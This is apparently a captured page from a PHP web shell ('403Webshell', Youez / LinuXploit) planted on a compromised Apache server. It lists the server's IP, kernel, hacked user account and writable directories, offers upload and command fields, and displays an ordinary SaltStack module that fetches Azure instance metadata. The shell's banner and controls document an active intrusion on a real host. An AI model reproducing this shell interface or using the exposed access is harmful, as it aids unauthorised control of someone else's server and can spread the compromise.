403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/grains/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/grains/metadata_azure.py
"""
Grains from cloud metadata servers at 169.254.169.254 in Azure Virtual Machine

.. versionadded:: 3006.0

:depends: requests

To enable these grains that pull from the http://169.254.169.254/metadata/instance?api-version=2020-09-01
metadata server set `metadata_server_grains: True` in the minion config.

.. code-block:: yaml

    metadata_server_grains: True

"""

import logging

import salt.utils.http as http
import salt.utils.json

HOST = "http://169.254.169.254"
URL = f"{HOST}/metadata/instance?api-version=2020-09-01"
log = logging.getLogger(__name__)


def __virtual__():
    # Check if metadata_server_grains minion option is enabled
    if __opts__.get("metadata_server_grains", False) is False:
        return False
    azuretest = http.query(
        URL, status=True, headers=True, header_list=["Metadata: true"]
    )
    if azuretest.get("status", 404) != 200:
        return False
    return True


def metadata():
    """Takes no arguments, returns a dictionary of metadata values from Azure."""
    log.debug("All checks true - loading azure metadata")
    result = http.query(URL, headers=True, header_list=["Metadata: true"])
    metadata = salt.utils.json.loads(result.get("body", {}))

    return metadata

Youez - 2016 - github.com/yon3zu
LinuXploit